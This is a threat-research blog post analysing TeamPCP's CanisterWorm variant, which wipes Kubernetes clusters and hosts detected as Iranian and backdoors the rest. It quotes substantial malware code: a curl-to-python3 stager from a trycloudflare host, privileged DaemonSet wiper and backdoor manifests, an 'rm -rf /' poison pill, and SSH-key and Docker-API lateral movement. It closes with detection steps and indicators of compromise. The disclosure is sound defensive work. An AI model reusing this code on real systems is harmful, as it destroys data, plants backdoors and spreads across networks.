

CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran

By Charlie Eriksen

Published: 2026-03-22 · Archived: 2026-08-06 02:01:56 UTC

We found a new payload in the TeamPCP arsenal, and this one doesn't just steal credentials or install backdoors. It wipes entire Kubernetes clusters.

The script uses the exact same ICP canister (`tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io`) we documented in the [CanisterWorm campaign](#). Same C2, same backdoor code, same `/tmp/pglog` drop path. The Kubernetes-native lateral movement via DaemonSets is consistent with TeamPCP's known playbook, but this variant adds something we haven't seen from them before: a geopolitically targeted destructive payload aimed specifically at Iranian systems.

High-level details

Because the blog post contains a lot of technical detail, here's a summary of the most important observations we've made:

- 🦋 Same ICP canister C2 as CanisterWorm (`tdtqy-oyaaa-aaaae-af2dq-cai`)
- 🎯 Payload checks timezone and locale to identify Iranian systems
- ⚙️ On Kubernetes: deploys privileged DaemonSets across every node, including control plane
 - 💀 Iranian nodes get wiped and force-rebooted via a container named `kamikaze`
 - 🔒 Non-Iranian nodes get the CanisterWorm backdoor installed as a systemd service
- 💣 Non-K8s Iranian hosts get `rm -rf / --no-preserve-root`
- 🐘 Persistence disguised as PostgreSQL tooling: `pglog` , `pg_state` , `internal-monitor`
- 🔄 Multiple Cloudflare tunnel domains observed rotating as payload delivery infrastructure
- 🌀 Latest variant adds network-based lateral movement
 - 🔑 SSH spread via stolen keys and auth log parsing
 - 🐳 Exploits exposed Docker APIs on port 2375 across the local subnet

The stager

At first, we observed it simply pointing to `https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh` , which contained a singular payload. Later, it split the payload into two files, as seen below.

```
#!/usr/bin/env bash
set -euo pipefail
```

```

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubect
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

```

What you can see is that it downloads `kubectl` if it's not already installed. Then it downloads `kube.py` from the same host, and executes that, before then deleting itself. The real interesting code is contained within that. Here's the last few lines of the script, which clearly outlines the intent of the code, which we will break down further:

```

if __name__ == "__main__":
    if is_k8s():
        if is_iran():
            deploy_destructive_ds()
        else:
            deploy_std_ds()
    else:
        if is_iran():
            poison_pill()
        sys.exit(1)

```

How it chooses its target

The first thing the payload does is figure out where it's running. Two checks:

```

def is_k8s():
    return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
        "KUBERNETES_SERVICE_HOST" in os.environ

```

Standard Kubernetes pod detection. Every pod gets a service account mounted by default.

Then this:

```

def is_iran():
    tz = ""
    if os.path.exists("/etc/timezone"):
        with open("/etc/timezone", "r") as f:

```

```

        tz = f.read().strip()
    else:
        try:
            tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
                                         stderr=subprocess.DEVNULL).decode().strip()
        except:
            pass

    lang = os.environ.get("LANG", "")
    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

```

It checks the system timezone and locale. If the machine is configured for Iran (`Asia/Tehran` , `Iran` , or `fa_IR`), the payload takes a very different path.

Four paths, one script

The decision tree is simple and brutal:

- **Kubernetes + Iran:** Deploy a DaemonSet that wipes every node in the cluster
- **Kubernetes + elsewhere:** Deploy a DaemonSet that installs the CanisterWorm backdoor on every node
- **No Kubernetes + Iran:** `rm -rf / --no-preserve-root`
- **No Kubernetes + elsewhere:** Exit. Nothing happens.

The wiper: "kamikaze"

The Iranian-targeted DaemonSet is called `host-provisioner-iran` . The container inside it is named `kamikaze` . Subtle, this is not.

```

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:

```

```

metadata:
  labels:
    name: {ds_name}
spec:
  hostNetwork: true
  hostPID: true
  tolerations:
  - operator: Exists
  containers:
  - name: kamikaze
    image: alpine:latest
    securityContext:
      privileged: true
    command: ["/bin/sh", "-c"]
    args:
      - |
        find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true
        chroot /mnt/host reboot -f
  volumeMounts:
  - name: host-root
    mountPath: /mnt/host
  volumes:
  - name: host-root
    hostPath:
      path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

```

The DaemonSet mounts the host's root filesystem to `/mnt/host`, deletes everything at the top level, then force reboots. Because it's a DaemonSet with `tolerations: [operator: Exists]`, it gets scheduled on every node in the cluster, including the control plane. One `kubectl apply` and the entire cluster is bricked.

The persistence path

For non-Iranian targets, the DaemonSet (`host-provisioner-std`) is less dramatic but more operationally useful. It writes the CanisterWorm backdoor to every node and registers it as a systemd service:

```

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:

```

```
name: {ds_name}
namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
        - operator: Exists
      containers:
        - name: provisioner
          image: alpine:latest
          securityContext:
            privileged: true
          command: ["/bin/sh", "-c"]
          args:
            - |
              mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
              echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
              cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
              [Unit]
              Description=System Monitor
              After=network.target

              [Service]
              ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
              Restart=always
              RestartSec=5

              [Install]
              WantedBy=multi-user.target
              EOF_UNIT
              chroot /mnt/host systemctl daemon-reload
              chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
              sleep infinity
          volumeMounts:
            - name: host-root
              mountPath: /mnt/host
          volumes:
            - name: host-root
              hostPath:
```

```
path: /  
"""  
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())
```

The backdoor is the same one we documented in the CanisterWorm post. It polls the ICP canister every 50 minutes for a binary URL, downloads and executes whatever it's told. The `youtube[.]com` kill switch is still present.

The "poison pill"

For non-Kubernetes Iranian systems, the approach is cruder:

```
def poison_pill():  
    cmd = "rm -rf / --no-preserve-root"  
    if os.getuid() == 0:  
        os.system(cmd)  
    else:  
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")
```

If it's root, it wipes the system. If not, it tries passwordless sudo, then tries anyway. Even without root, it'll destroy everything the user owns.

Why this matters

TeamPCP has been documented as a cloud-native threat actor since late 2025, targeting misconfigured Docker APIs, Kubernetes clusters, and CI/CD pipelines. Their playbook (environment fingerprinting, Kubernetes-specific branching) has been consistent. But the Trivy compromise and CanisterWorm campaign showed they could operate at supply chain scale, and this payload shows they're prepared to be destructive when they want to be.

What to look for

Check for DaemonSets in `kube-system` that you didn't create:

```
kubectl get ds -n kube-system
```

Look for `host-provisioner-iran` or `host-provisioner-std`. Also audit any DaemonSet that mounts `hostPath: /` with a privileged security context. That combination should never appear outside of infrastructure-level agents like the kubelet itself.

On the host side, check for:

- A systemd service called `internal-monitor` (`systemctl status internal-monitor`)
- Files at `/var/lib/svc_internal/runner.py`
- Processes named `pglog` in `/tmp/`

- Outbound connections to `icp0[.]io` domains

Update: It spreads now

A third iteration of the payload just showed up, hosted at `https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py`. Same ICP canister backdoor, same Iran wiper, but this one doesn't need Kubernetes. It spreads on its own.

The previous versions relied on DaemonSets to move across a cluster. This variant drops that entirely and replaces it with two lateral movement methods: SSH key theft and exposed Docker API exploitation. It also scans the local /24 subnet for new targets.

Here's how it finds machines to hit:

```
def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets
```

It parses `/var/log/auth.log` and `/var/log/secure` for successful SSH logins, extracting both the username and source IP. Those become targeted spreading pairs. For any IP it finds on the subnet that wasn't in the auth logs, it falls back to trying `root`, `ubuntu`, `admin`, and `ec2-user`.

Then it grabs every SSH private key it can find:

```
keys = []
ssh_base = os.path.expanduser("~/ssh")
for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
    p = os.path.join(ssh_base, t)
    if os.path.exists(p): keys.append(p)
```

For each target, it checks two ports. Port 22 gets the SSH spread:

```
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
      "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
      f"echo {b64_logic} | base64 -d | bash"]
```

Port 2375 gets the Docker API exploit, creating a privileged container with the host root mounted:

```
payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})
```

Both paths deliver the same `get_remote_logic()` payload, which runs the Iran timezone check on the remote host. Iranian targets get wiped, everyone else gets the `pgmon.py` backdoor installed as a systemd service.

The wiper itself changed. The earlier versions used `rm -rf / --no-preserve-root` on non-K8s hosts, while the DaemonSet variant used `find / -maxdepth 1 ... -exec rm -rf {} +` with a forced reboot. This version standardises on the `find` approach with `reboot -f` across the board:

```
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f
```

This is straight out of TeamPCP's earlier `proxy.sh` and `pcpcat.py` tooling, where they scanned for exposed Docker APIs and sprayed SSH keys across subnets. The difference is that those tools were standalone infrastructure-building scripts. This one carries the CanisterWorm backdoor and the Iran wiper with it.

A few other changes from the previous versions: the service name moved from `internal-monitor` to `pgmonitor`, the install path moved from `/var/lib/svc_internal/` to `/var/lib/pgmon/`, and the systemd description is now "Postgres Monitor Service". The PostgreSQL camouflage is getting more consistent.

Indicators of Compromise

Network

- `tdtqy-oyaaa-aaaaf2dq-cai[.]raw[.]icp0[.]io` (ICP canister C2 dead-drop)
- `https://souls-entire-defined-routes.trycloudflare[.]com/` (payload delivery, first)
- `https://investigation-launches-hearings-copying.trycloudflare[.]com/` (payload delivery, second)
- `https://championships-peoples-point-cassette.trycloudflare[.]com` (payload delivery, third)

Kubernetes

- DaemonSet `host-provisioner-iran` in `kube-system`
- DaemonSet `host-provisioner-std` in `kube-system`
- Container names: `kamikaze`, `provisioner`

Host

- `/var/lib/svc_internal/runner.py`
- `/etc/systemd/system/internal-monitor.service`
- `/tmp/pglog`
- `/tmp/.pg_state`
- `/var/lib/pgmon/pgmon.py`
- `/etc/systemd/system/pgmonitor.service`
- Systemd service: `pgmonitor` (Description: "Postgres Monitor Service")
- Systemd service: `internal-monitor`

Lateral movement indicators

- Outbound SSH connections with `StrictHostKeyChecking=no` from compromised hosts
- Outbound connections to port 2375 (Docker API) across local subnet
- Privileged Alpine containers created via unauthenticated Docker API with `hostPath: /` bind mount

... Developing story. Stay tuned for updates.

Source: <https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran>